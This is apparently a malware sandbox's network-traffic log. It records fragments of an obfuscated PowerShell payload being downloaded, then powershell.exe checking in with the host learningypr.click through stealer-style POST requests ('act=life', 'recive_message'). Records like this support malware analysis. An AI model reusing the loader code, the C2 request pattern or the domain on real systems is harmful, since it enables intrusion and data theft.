2024-12-22 12:42:15 UTC	382	IN	Data Raw: 24 56 78 35 57 4b 51 68 55 4f 4e 32 6a 66 65 77 4c 50 74 78 79 47 71 6b 45 63 6b 30 70 59 52 69 48 53 71 46 32 35 4d 6b 74 69 75 56 68 35 71 62 4c 76 43 57 59 49 59 52 46 42 39 56 6a 6d 6c 53 4d 38 57 79 70 78 58 6e 42 62 42 45 65 41 4c 76 41 4d 4e 77 54 52 38 50 41 4e 64 70 30 7a 30 78 35 71 49 37 64 63 34 4a 58 62 6c 46 77 6a 36 72 33 4e 42 53 72 4b 35 35 62 78 44 65 41 63 61 32 32 47 58 42 6b 37 4e 64 61 52 68 6f 35 47 65 30 6e 4a 52 72 69 30 54 53 36 56 78 44 43 43 57 73 37 30 49 55 58 68 61 74 48 30 4e 77 34 58 34 31 70 32 61 5a 7a 70 68 6d 69 52 32 6f 4e 73 64 69 70 71 6f 65 50 59 39 4b 75 52 38 34 37 6d 42 65 73 6f 31 59 43 32 48 67 54 72 65 4d 78 44 63 4f 46 58 48 48 55 63 38 51 70 64 6a 53 57 75 75 74 7a 70 47 41 43 34 6c 36 38 72 55 76 68 41 66 Data Ascii: $Vx5WKQhUON2jfewLPtxyGqkEck0pYRiHSqF25MktiuVh5qbLvCWYIYRFB9VjmlSM8WypxXnBbBEeALvAMNwTR8PANdp0z0x5qI7dc4JXblFwj6r3NBSrK55bxDeAca22GXBk7NdaRho5Ge0nJRri0TS6VxDCCWs70IUXhatH0Nw4X41p2aZzphmiR2oNsdipqoePY9KuR847mBeso1YC2HgTreMxDcOFXHHUc8QpdjSWuutzpGAC4l68rUvhAf
2024-12-22 12:42:15 UTC	1369	IN	Data Raw: 22 0d 0a 0d 0a 24 49 36 48 68 6d 37 72 75 67 58 35 34 50 49 44 67 44 63 50 76 68 67 51 45 37 50 34 7a 66 67 6c 76 43 74 47 43 33 7a 42 72 39 71 30 5a 74 68 50 71 54 52 4e 38 51 51 38 4e 61 71 4a 59 50 79 44 44 67 71 35 79 66 78 45 35 5a 56 62 6a 6a 51 6c 31 64 63 31 50 41 47 65 4e 59 4f 69 38 31 64 34 59 77 73 41 6b 4a 59 73 53 65 4b 32 63 66 61 30 33 4f 46 74 68 67 45 30 61 4d 74 51 55 76 47 64 79 62 70 4e 4a 34 44 6b 4a 61 44 74 63 59 44 55 41 63 63 75 5a 70 38 34 46 74 42 45 66 76 39 41 45 75 30 4a 70 71 6d 76 4d 4f 50 51 50 64 59 6a 69 4d 57 70 64 6e 31 53 42 70 65 4b 32 54 34 55 52 6a 66 56 74 53 61 4b 69 56 54 38 69 66 54 42 47 50 42 70 59 39 59 32 74 50 31 41 53 61 4d 61 72 38 32 4a 47 4c 38 36 37 61 6d 72 31 6d 6d 47 4d 6b 69 79 75 78 62 47 7a 4a Data Ascii: "$I6Hhm7rugX54PIDgDcPvhgQE7P4zfglvCtGC3zBr9q0ZthPqTRN8QQ8NaqJYPyDDgq5yfxE5ZVbjjQl1dc1PAGeNYOi81d4YwsAkJYsSeK2cfa03OFthgE0aMtQUvGdybpNJ4DkJaDtcYDUAccuZp84FtBEfv9AEu0JpqmvMOPQPdYjiMWpdn1SBpeK2T4URjfVtSaKiVT8ifTBGPBpY9Y2tP1ASaMar82JGL867amr1mmGMkiyuxbGzJ
2024-12-22 12:42:15 UTC	1369	IN	Data Raw: 71 50 55 70 36 76 69 37 74 59 71 46 4c 67 4c 69 37 49 54 72 51 45 57 33 6f 66 34 7a 48 55 31 44 4d 75 73 62 30 54 48 37 59 6f 79 38 32 50 62 6f 4f 36 56 76 37 68 42 6d 32 49 4b 39 46 38 50 55 6b 63 52 78 45 75 7a 66 53 4e 46 69 45 51 53 73 6f 74 31 75 65 4c 46 77 5a 52 35 49 73 65 6f 6b 70 77 6d 74 45 36 5a 76 6b 4b 47 56 34 77 77 68 44 68 62 39 44 56 49 4a 58 33 30 58 41 69 62 76 65 4f 67 68 45 54 32 30 59 77 55 67 73 4c 62 67 30 65 5a 54 6b 6e 5a 72 79 51 76 65 4a 6e 65 51 36 78 63 4a 55 58 46 53 6d 78 4e 50 79 76 4c 49 4d 72 65 42 59 45 57 4e 79 55 45 6b 46 72 50 32 44 65 74 51 4e 41 72 68 4c 50 6e 71 43 41 54 36 5a 46 32 57 78 7a 58 37 64 68 34 79 78 51 69 4c 4a 4f 46 4b 61 30 53 4a 4e 70 34 6b 33 54 4e 5a 4c 50 77 56 32 58 46 4b 4f 4c 50 71 57 58 45 Data Ascii: qPUp6vi7tYqFLgLi7ITrQEW3of4zHU1DMusb0TH7Yoy82PboO6Vv7hBm2IK9F8PUkcRxEuzfSNFiEQSsot1ueLFwZR5IseokpwmtE6ZvkKGV4wwhDhb9DVIJX30XAibveOghET20YwUgsLbg0eZTknZryQveJneQ6xcJUXFSmxNPyvLIMreBYEWNyUEkFrP2DetQNArhLPnqCAT6ZF2WxzX7dh4yxQiLJOFKa0SJNp4k3TNZLPwV2XFKOLPqWXE
2024-12-22 12:42:15 UTC	1369	IN	Data Raw: 50 45 32 64 6c 64 74 77 48 41 34 6b 4c 32 38 4d 59 50 71 77 38 69 64 74 68 77 58 58 65 20 2b 20 24 56 6a 4d 37 34 73 56 73 66 6f 59 4a 44 51 34 55 6a 31 59 59 49 79 75 58 37 59 62 7a 64 6e 47 4f 49 70 67 74 67 4b 64 76 6e 4a 59 79 34 43 4b 49 41 61 63 55 70 73 47 53 4d 68 56 65 6a 66 46 39 52 56 65 78 31 4c 49 6b 31 57 52 79 63 43 69 30 30 79 58 71 49 79 73 79 64 31 33 69 68 6f 70 6f 55 63 6a 64 30 4e 69 71 50 34 6c 47 65 6f 72 46 39 65 69 32 72 66 31 49 33 50 4f 6d 4a 76 78 4c 56 75 50 39 51 62 30 75 55 43 78 72 4d 45 6e 36 78 4f 54 6a 53 54 75 4d 6d 77 61 59 6c 35 52 64 6a 51 70 62 75 54 4a 31 48 4d 65 50 30 75 4c 52 77 4e 30 54 70 47 30 6f 76 4f 41 61 7a 47 49 71 38 32 52 75 41 66 69 58 44 69 42 63 5a 32 33 78 58 31 34 4a 31 4a 70 63 7a 69 6e 53 6b 49 Data Ascii: PE2dldtwHA4kL28MYPqw8idthwXXe + $VjM74sVsfoYJDQ4Uj1YYIyuX7YbzdnGOIpgtgKdvnJYy4CKIAacUpsGSMhVejfF9RVex1LIk1WRycCi00yXqIysyd13ihopoUcjd0NiqP4lGeorF9ei2rf1I3POmJvxLVuP9Qb0uUCxrMEn6xOTjSTuMmwaYl5RdjQpbuTJ1HMeP0uLRwN0TpG0ovOAazGIq82RuAfiXDiBcZ23xX14J1JpczinSkI
2024-12-22 12:42:15 UTC	1369	IN	Data Raw: 44 50 73 66 29 2d 28 33 37 2d 34 30 2d 34 29 29 7b 0d 0a 28 28 28 28 24 45 46 43 4f 71 78 6a 57 53 44 61 2d 31 36 2d 24 51 43 48 78 45 74 57 74 70 58 65 43 46 2d 34 2d 34 34 2d 24 66 4f 68 55 4a 7a 6f 42 4d 77 29 29 2b 28 28 24 51 55 56 4d 6c 78 6b 69 68 43 54 2d 33 39 2d 32 33 29 29 29 29 20 0d 0a 7b 0d 0a 24 56 48 78 51 55 79 79 43 20 3d 20 36 31 30 0d 0a 24 69 61 6e 54 61 57 20 3d 20 24 6c 42 63 74 7a 4c 43 73 57 76 72 73 57 0d 0a 24 72 5a 74 47 4b 63 61 50 69 73 59 20 3d 20 24 55 73 46 6b 4f 71 50 6a 74 4e 0d 0a 24 4d 58 6b 62 43 6c 56 59 73 70 57 20 3d 20 24 6c 42 63 74 7a 4c 43 73 57 76 72 73 57 0d 0a 24 50 57 4d 74 73 43 76 73 20 3d 20 24 45 46 43 4f 71 78 6a 57 53 44 61 0d 0a 7d 0d 0a 28 28 28 33 2b 32 39 2d 28 34 37 2d 33 36 2a 33 35 2a 33 38 2b Data Ascii: DPsf)-(37-40-4)){(((($EFCOqxjWSDa-16-$QCHxEtWtpXeCF-4-44-$fOhUJzoBMw))+(($QUVMlxkihCT-39-23)))) {$VHxQUyyC = 610$ianTaW = $lBctzLCsWvrsW$rZtGKcaPisY = $UsFkOqPjtN$MXkbClVYspW = $lBctzLCsWvrsW$PWMtsCvs = $EFCOqxjWSDa}(((3+29-(47-363538+
2024-12-22 12:42:15 UTC	1369	IN	Data Raw: 3d 20 28 28 28 28 28 33 31 2d 37 2a 31 32 29 2a 34 31 2a 31 30 2d 28 34 2d 34 37 2a 33 31 2a 34 37 2a 31 32 2a 32 32 29 29 2d 28 33 34 2a 33 35 2a 38 29 29 2d 28 31 38 30 34 37 30 30 38 29 29 29 0d 0a 24 5a 59 71 47 47 20 3d 20 24 69 59 62 63 64 68 47 4d 4a 74 0d 0a 24 78 51 41 74 6c 4b 55 66 4d 20 3d 20 24 65 73 6b 57 51 6c 6e 4b 56 75 0d 0a 0d 0a 24 4b 53 59 6c 6e 54 59 44 4d 55 20 3d 20 28 28 24 66 4f 68 55 4a 7a 6f 42 4d 77 2d 34 37 2d 28 32 37 2d 32 32 2b 31 29 29 2b 24 69 61 6e 54 61 57 2d 34 37 2d 32 33 2b 24 4a 52 4f 47 46 75 76 69 64 2b 33 34 2b 31 30 2d 28 34 35 38 29 29 0d 0a 24 78 4c 64 58 59 43 44 45 73 4e 72 51 47 20 3d 20 28 28 31 32 2d 33 39 2b 24 63 7a 49 78 54 52 52 79 58 57 6b 44 6d 55 29 2d 28 31 37 2b 31 2b 24 45 46 43 4f 71 78 6a 57 Data Ascii: = (((((31-712)4110-(4-4731471222))-(3435*8))-(18047008)))$ZYqGG = $iYbcdhGMJt$xQAtlKUfM = $eskWQlnKVu$KSYlnTYDMU = (($fOhUJzoBMw-47-(27-22+1))+$ianTaW-47-23+$JROGFuvid+34+10-(458))$xLdXYCDEsNrQG = ((12-39+$czIxTRRyXWkDmU)-(17+1+$EFCOqxjW
2024-12-22 12:42:15 UTC	1369	IN	Data Raw: 2d 34 38 29 29 2d 28 32 32 29 29 0d 0a 24 4f 45 72 75 67 56 6b 61 4d 45 20 3d 20 28 28 28 28 34 38 2b 33 34 2b 24 66 4f 68 55 4a 7a 6f 42 4d 77 29 29 29 2b 28 32 34 2b 34 35 2d 24 53 43 64 56 4e 72 72 29 2b 28 24 69 61 6e 54 61 57 2b 31 31 2b 28 24 6e 69 41 53 69 45 2b 32 34 2b 24 44 74 57 45 68 47 4f 57 69 4e 29 29 2b 28 28 34 36 2b 31 38 2b 34 29 29 2d 28 31 31 35 31 29 29 0d 0a 24 73 76 6a 78 61 63 6b 5a 74 42 76 50 52 65 20 3d 20 28 28 28 34 2b 33 31 2d 32 31 29 29 2b 33 37 2d 34 36 2b 24 4a 52 4f 47 46 75 76 69 64 2b 28 28 39 2d 31 33 2d 39 29 29 2b 28 33 32 29 29 0d 0a 24 4c 63 5a 65 54 76 42 20 3d 20 28 28 24 65 73 6b 57 51 6c 6e 4b 56 75 2d 31 36 2b 28 33 32 2b 34 34 2d 24 4b 58 7a 74 71 52 61 29 29 2b 28 28 24 72 73 42 51 6e 53 6c 6b 6f 46 2b 36 Data Ascii: -48))-(22))$OErugVkaME = ((((48+34+$fOhUJzoBMw)))+(24+45-$SCdVNrr)+($ianTaW+11+($niASiE+24+$DtWEhGOWiN))+((46+18+4))-(1151))$svjxackZtBvPRe = (((4+31-21))+37-46+$JROGFuvid+((9-13-9))+(32))$LcZeTvB = (($eskWQlnKVu-16+(32+44-$KXztqRa))+(($rsBQnSlkoF+6
2024-12-22 12:42:15 UTC	1369	IN	Data Raw: 38 29 29 0d 0a 24 57 4e 64 49 72 4c 72 41 20 3d 20 28 28 28 28 34 30 2b 32 38 2b 24 4a 59 45 53 41 66 51 44 46 5a 77 72 6b 63 29 29 2b 24 79 53 6f 50 6b 77 76 7a 72 2d 34 35 2b 33 33 2b 28 34 31 2d 34 32 2b 34 34 29 29 2d 24 77 45 72 44 54 69 4b 41 6b 4d 62 6a 72 2b 33 39 2b 24 51 61 53 6e 76 70 42 50 6a 57 55 53 46 2d 24 74 74 6a 50 6d 64 69 79 5a 2d 34 2d 33 32 2d 28 34 33 31 29 29 0d 0a 24 6c 4d 4c 4e 6b 71 20 3d 20 28 28 32 37 2b 33 39 2b 35 29 2b 24 62 58 4c 67 65 54 73 6f 59 2d 34 31 2d 32 37 2b 24 51 43 48 78 45 74 57 74 70 58 65 43 46 2d 39 2d 34 35 2d 28 31 30 31 35 29 29 0d 0a 24 48 79 70 67 6c 45 46 6b 42 42 52 20 3d 20 28 28 28 24 4d 58 6b 62 43 6c 56 59 73 70 57 2b 34 39 2d 31 32 29 2b 28 24 4e 6d 45 47 52 6f 2b 36 2b 24 62 58 4c 67 65 54 73 Data Ascii: 8))$WNdIrLrA = ((((40+28+$JYESAfQDFZwrkc))+$ySoPkwvzr-45+33+(41-42+44))-$wErDTiKAkMbjr+39+$QaSnvpBPjWUSF-$ttjPmdiyZ-4-32-(431))$lMLNkq = ((27+39+5)+$bXLgeTsoY-41-27+$QCHxEtWtpXeCF-9-45-(1015))$HypglEFkBBR = ((($MXkbClVYspW+49-12)+($NmEGRo+6+$bXLgeTs
2024-12-22 12:42:15 UTC	1369	IN	Data Raw: 72 5d 5b 69 6e 74 5d 24 4b 70 6f 4b 58 64 45 73 72 62 7a 46 73 4a 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 53 62 55 5a 6d 43 6a 41 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 4b 79 69 56 68 6d 77 61 50 63 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 4a 4f 48 61 70 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 58 75 63 41 51 55 4b 4e 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 61 51 4a 42 77 42 6b 6c 73 46 6d 50 43 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 49 79 55 67 77 42 75 6b 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 41 70 58 68 61 55 54 62 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 44 61 56 4b 57 51 4a 55 6d 42 5a 57 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 45 6c 43 41 77 44 43 4b 65 48 59 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 Data Ascii: r][int]$KpoKXdEsrbzFsJ + [char][int]$SbUZmCjA + [char][int]$KyiVhmwaPc + [char][int]$JOHap + [char][int]$XucAQUKN + [char][int]$aQJBwBklsFmPC + [char][int]$IyUgwBuk + [char][int]$ApXhaUTb + [char][int]$DaVKWQJUmBZW + [char][int]$ElCAwDCKeHY + [char][int]$
2024-12-22 12:42:15 UTC	1369	IN	Data Raw: 29 29 29 20 0d 0a 7b 0d 0a 24 56 48 78 51 55 79 79 43 20 3d 20 36 31 30 0d 0a 24 69 61 6e 54 61 57 20 3d 20 24 6c 42 63 74 7a 4c 43 73 57 76 72 73 57 0d 0a 24 72 5a 74 47 4b 63 61 50 69 73 59 20 3d 20 24 55 73 46 6b 4f 71 50 6a 74 4e 0d 0a 24 4d 58 6b 62 43 6c 56 59 73 70 57 20 3d 20 24 6c 42 63 74 7a 4c 43 73 57 76 72 73 57 0d 0a 24 50 57 4d 74 73 43 76 73 20 3d 20 24 45 46 43 4f 71 78 6a 57 53 44 61 0d 0a 7d 0d 0a 28 28 28 33 2b 32 39 2d 28 34 37 2d 33 36 2a 33 35 2a 33 38 2b 34 31 2d 28 33 31 2d 31 33 2a 31 38 29 29 29 2d 28 34 37 36 30 33 29 29 29 20 0d 0a 7b 0d 0a 24 41 4a 56 63 55 54 72 48 72 70 45 20 3d 20 39 31 34 0d 0a 24 79 4a 6b 70 6d 54 4c 51 20 3d 20 24 4d 58 6b 62 43 6c 56 59 73 70 57 0d 0a 7d 0d 0a 28 28 28 24 72 73 42 51 6e 53 6c 6b 6f 46 Data Ascii: ))) {$VHxQUyyC = 610$ianTaW = $lBctzLCsWvrsW$rZtGKcaPisY = $UsFkOqPjtN$MXkbClVYspW = $lBctzLCsWvrsW$PWMtsCvs = $EFCOqxjWSDa}(((3+29-(47-363538+41-(31-13*18)))-(47603))) {$AJVcUTrHrpE = 914$yJkpmTLQ = $MXkbClVYspW}((($rsBQnSlkoF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	50007	104.21.48.1	443	1208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 12:44:20 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: learningypr.click
2024-12-22 12:44:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-22 12:44:21 UTC	1131	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 12:44:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=85h2ndbph8ed4hbajr5pnlmsr1; expires=Thu, 17 Apr 2025 06:31:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DYgjYcaZNuKI30jfhk%2BIN%2FoHiGLFFRlG6g26vUyGLMTx8UAzdIo0oLJm%2FAzt3NKyX39leO60Znj6qYk73swYHM6jFboSF7OTdAA4CaewyaIxRp937z1LQ1L2gtaxVqopJZS0%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6033e6eaac42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1691&rtt_var=649&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2841&recv_bytes=908&delivery_rate=1666666&cwnd=239&unsent_bytes=0&cid=b031031e94e447d6&ts=918&x=0"
2024-12-22 12:44:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-22 12:44:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	50008	104.21.48.1	443	1208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 12:44:22 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: learningypr.click
2024-12-22 12:44:22 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--bigJ&j=aa77e78b6b0dd1b2226e7b799532ab3a
2024-12-22 12:44:23 UTC	1139	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 12:44:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=91f3imbemm4jqr7p198i10m48f; expires=Thu, 17 Apr 2025 06:31:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JasUDAj9%2ByLv8kT9C3pqQUKFcFG3Dpl%2ByMQRoiPAQ2E6%2FFXWRaVTn7gceDWjOE1%2BmUZvpEhfx%2FmUhWYsOdiVACRNFro%2FF%2B2rEVDOgKdXDmblF4uMOI7G5oOFQPEWTIKhnZ%2FHMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6033f42a12c323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1470&rtt_var=561&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=979&delivery_rate=1935056&cwnd=214&unsent_bytes=0&cid=248e130633e00fa7&ts=820&x=0"
2024-12-22 12:44:23 UTC	230	IN	Data Raw: 31 63 61 64 0d 0a 57 71 50 79 68 76 71 53 62 6f 78 6c 39 66 4e 38 33 51 49 32 57 74 49 43 58 65 73 4b 33 78 46 4d 44 36 41 6f 6b 64 68 5a 77 56 49 68 67 59 53 6b 77 4b 5a 43 72 68 61 51 30 55 61 37 59 31 6f 70 74 79 35 2f 69 6d 37 39 4b 79 70 75 7a 46 76 30 39 48 75 33 50 33 69 5a 6c 4f 65 57 34 51 75 67 52 35 43 4c 58 75 64 5a 54 58 69 33 62 48 2f 52 4b 4c 70 37 4c 6d 37 4d 53 76 43 7a 4e 72 45 2b 4f 63 75 65 34 5a 4c 33 44 65 67 45 6d 5a 34 5a 75 47 64 58 4d 4c 78 72 4d 49 4e 6e 2f 54 31 75 61 74 6f 4b 71 2f 6f 55 70 43 59 37 37 70 50 31 6b 62 41 54 6f 42 37 58 6c 68 4c 2f 4f 42 51 37 74 32 41 78 6a 57 36 30 65 53 52 6e 78 45 76 31 73 69 6d 6f 4e 44 4c 4c 6b 4f 4b 54 2f 51 54 38 Data Ascii: 1cadWqPyhvqSboxl9fN83QI2WtICXesK3xFMD6AokdhZwVIhgYSkwKZCrhaQ0Ua7Y1opty5/im79KypuzFv09Hu3P3iZlOeW4QugR5CLXudZTXi3bH/RKLp7Lm7MSvCzNrE+Ocue4ZL3DegEmZ4ZuGdXMLxrMINn/T1uatoKq/oUpCY77pP1kbAToB7XlhL/OBQ7t2AxjW60eSRnxEv1simoNDLLkOKT/QT8
2024-12-22 12:44:23 UTC	1369	IN	Data Raw: 43 5a 4f 5a 45 72 35 74 56 33 6a 2b 49 44 69 52 4b 4f 55 7a 66 56 2f 42 57 2b 4b 76 4e 72 4d 32 65 4e 37 65 2f 64 6a 33 41 4b 35 66 31 35 6b 53 73 57 56 58 4e 37 64 68 50 35 74 6e 76 58 41 6d 5a 63 5a 41 2f 4c 55 30 72 54 6f 2f 79 5a 6e 6a 6c 2f 63 45 36 41 69 55 30 56 44 2f 5a 30 78 34 36 43 41 66 6d 57 75 2b 5a 79 4e 38 67 6c 57 39 6f 33 75 6b 50 48 69 5a 30 4f 4b 57 38 51 48 75 46 5a 2b 61 46 62 70 79 58 7a 47 39 62 54 2b 45 59 72 4a 77 4c 6d 72 49 51 50 79 77 50 36 34 39 50 73 47 51 70 4e 61 77 43 2f 5a 48 7a 39 45 39 75 6e 42 54 4e 4b 59 69 42 63 6c 33 38 32 70 75 61 73 34 4b 71 2f 6f 7a 70 6a 4d 37 79 70 2f 6e 6b 50 73 65 37 68 57 52 6e 42 75 74 5a 6c 45 32 75 6d 4d 74 67 32 61 37 63 43 64 6d 79 30 2f 30 76 6e 76 74 63 44 2f 5a 30 4c 7a 59 30 51 48 Data Ascii: CZOZEr5tV3j+IDiRKOUzfV/BW+KvNrM2eN7e/dj3AK5f15kSsWVXN7dhP5tnvXAmZcZA/LU0rTo/yZnjl/cE6AiU0VD/Z0x46CAfmWu+ZyN8glW9o3ukPHiZ0OKW8QHuFZ+aFbpyXzG9bT+EYrJwLmrIQPywP649PsGQpNawC/ZHz9E9unBTNKYiBcl382puas4Kq/ozpjM7yp/nkPse7hWRnButZlE2umMtg2a7cCdmy0/0vnvtcD/Z0LzY0QH
2024-12-22 12:44:23 UTC	1369	IN	Data Raw: 68 71 2b 61 6b 59 71 73 47 77 74 68 57 4b 37 66 43 4e 68 67 67 53 7a 76 53 50 6a 61 48 6a 72 6b 2f 43 62 2b 6b 37 62 42 4a 6d 66 47 61 6b 67 53 33 61 70 49 44 69 46 4b 4f 55 7a 49 32 7a 4b 54 4f 47 31 4e 71 41 2b 4e 73 36 56 36 35 44 77 44 4f 4d 43 6b 35 6f 56 76 47 31 51 4b 72 70 67 4e 34 78 70 74 33 6c 75 49 34 4a 4e 36 2f 70 6a 34 77 45 76 79 74 4c 52 6d 2f 34 43 36 52 48 58 6a 6c 43 6d 49 46 4d 30 38 44 68 2f 68 47 43 34 64 69 46 73 79 45 54 32 73 44 65 72 50 6a 76 54 6e 2b 43 59 2f 41 54 6b 43 70 6d 56 46 72 5a 72 58 7a 36 77 59 54 58 4a 4a 76 31 30 4e 69 32 61 43 73 65 39 4e 36 34 2f 65 76 53 54 36 70 62 33 47 71 34 59 32 59 68 65 75 47 77 55 59 50 42 73 4e 6f 6c 6a 74 33 63 75 61 73 39 50 38 4c 30 34 72 6a 63 79 7a 35 66 67 6c 50 6b 42 36 41 65 51 Data Ascii: hq+akYqsGwthWK7fCNhggSzvSPjaHjrk/Cb+k7bBJmfGakgS3apIDiFKOUzI2zKTOG1NqA+Ns6V65DwDOMCk5oVvG1QKrpgN4xpt3luI4JN6/pj4wEvytLRm/4C6RHXjlCmIFM08Dh/hGC4diFsyET2sDerPjvTn+CY/ATkCpmVFrZrXz6wYTXJJv10Ni2aCse9N64/evST6pb3Gq4Y2YheuGwUYPBsNoljt3cuas9P8L04rjcyz5fglPkB6AeQ
2024-12-22 12:44:23 UTC	1369	IN	Data Raw: 67 55 59 50 42 72 43 6f 64 2b 2f 57 78 67 64 49 4a 4e 2f 2f 70 6a 34 7a 6b 78 30 35 37 71 6b 66 30 4b 35 67 43 5a 6e 42 57 35 61 31 4d 2f 74 6d 30 33 68 47 32 2b 63 69 70 6e 30 45 6e 34 73 44 61 70 63 48 61 42 6c 2f 7a 59 71 45 7a 4a 43 37 36 42 42 61 31 32 46 43 66 2b 65 58 2b 4f 5a 50 30 72 62 6d 37 4e 51 2f 79 79 4d 36 77 2f 50 4d 2b 57 34 70 58 31 41 2b 51 56 6e 35 38 54 74 47 39 66 4b 72 42 74 4f 34 56 73 74 58 67 6b 4c 59 77 4b 39 4b 4a 37 2b 33 41 4e 7a 4a 2f 6b 6d 2b 5a 4d 38 55 6d 4f 30 52 6d 7a 49 41 78 34 76 47 34 2f 68 6d 53 78 65 43 5a 73 7a 6b 54 30 76 7a 4b 72 4f 43 72 41 6c 4f 79 5a 2f 67 50 76 41 35 4b 55 47 72 68 6b 55 6a 66 77 4c 6e 2b 4f 63 50 30 72 62 6b 4c 6c 66 37 47 62 41 65 4d 76 64 74 6a 51 34 35 53 77 56 4b 34 4c 6c 4a 30 57 73 Data Ascii: gUYPBrCod+/WxgdIJN//pj4zkx057qkf0K5gCZnBW5a1M/tm03hG2+cipn0En4sDapcHaBl/zYqEzJC76BBa12FCf+eX+OZP0rbm7NQ/yyM6w/PM+W4pX1A+QVn58TtG9fKrBtO4VstXgkLYwK9KJ7+3ANzJ/km+ZM8UmO0RmzIAx4vG4/hmSxeCZszkT0vzKrOCrAlOyZ/gPvA5KUGrhkUjfwLn+OcP0rbkLlf7GbAeMvdtjQ45SwVK4LlJ0Ws
2024-12-22 12:44:23 UTC	1369	IN	Data Raw: 38 49 47 66 4a 59 72 5a 33 4c 57 6e 48 52 66 4b 37 50 62 45 33 4d 64 4f 65 36 5a 66 34 42 4f 63 47 6b 35 51 54 75 57 78 65 4f 62 64 75 4d 59 45 6f 38 7a 4d 70 64 59 49 53 73 35 73 72 75 43 49 75 7a 4c 48 70 6c 37 41 54 6f 42 37 58 6c 68 4c 2f 4f 42 51 78 6f 6d 51 79 6d 32 47 36 66 53 46 75 30 45 76 2b 73 53 6d 6b 50 7a 7a 47 6e 4f 4b 58 39 67 33 72 44 5a 75 57 47 37 52 76 57 48 6a 2b 49 44 69 52 4b 4f 55 7a 41 47 62 52 58 66 43 30 4d 4c 55 72 65 4e 37 65 2f 64 6a 33 41 4b 35 66 31 35 49 56 74 47 52 55 4e 4c 42 6b 4d 6f 6c 36 73 6e 51 70 5a 4d 6c 59 2b 62 30 38 71 44 67 7a 7a 70 62 32 6c 50 34 65 36 78 57 46 30 56 44 2f 5a 30 78 34 36 43 41 4a 6a 6e 69 74 63 47 78 63 31 45 6e 6c 73 54 61 76 63 43 65 50 69 61 53 66 2f 45 79 32 52 35 47 65 46 37 78 76 56 54 Data Ascii: 8IGfJYrZ3LWnHRfK7PbE3MdOe6Zf4BOcGk5QTuWxeObduMYEo8zMpdYISs5sruCIuzLHpl7AToB7XlhL/OBQxomQym2G6fSFu0Ev+sSmkPzzGnOKX9g3rDZuWG7RvWHj+IDiRKOUzAGbRXfC0MLUreN7e/dj3AK5f15IVtGRUNLBkMol6snQpZMlY+b08qDgzzpb2lP4e6xWF0VD/Z0x46CAJjnitcGxc1EnlsTavcCePiaSf/Ey2R5GeF7xvVT
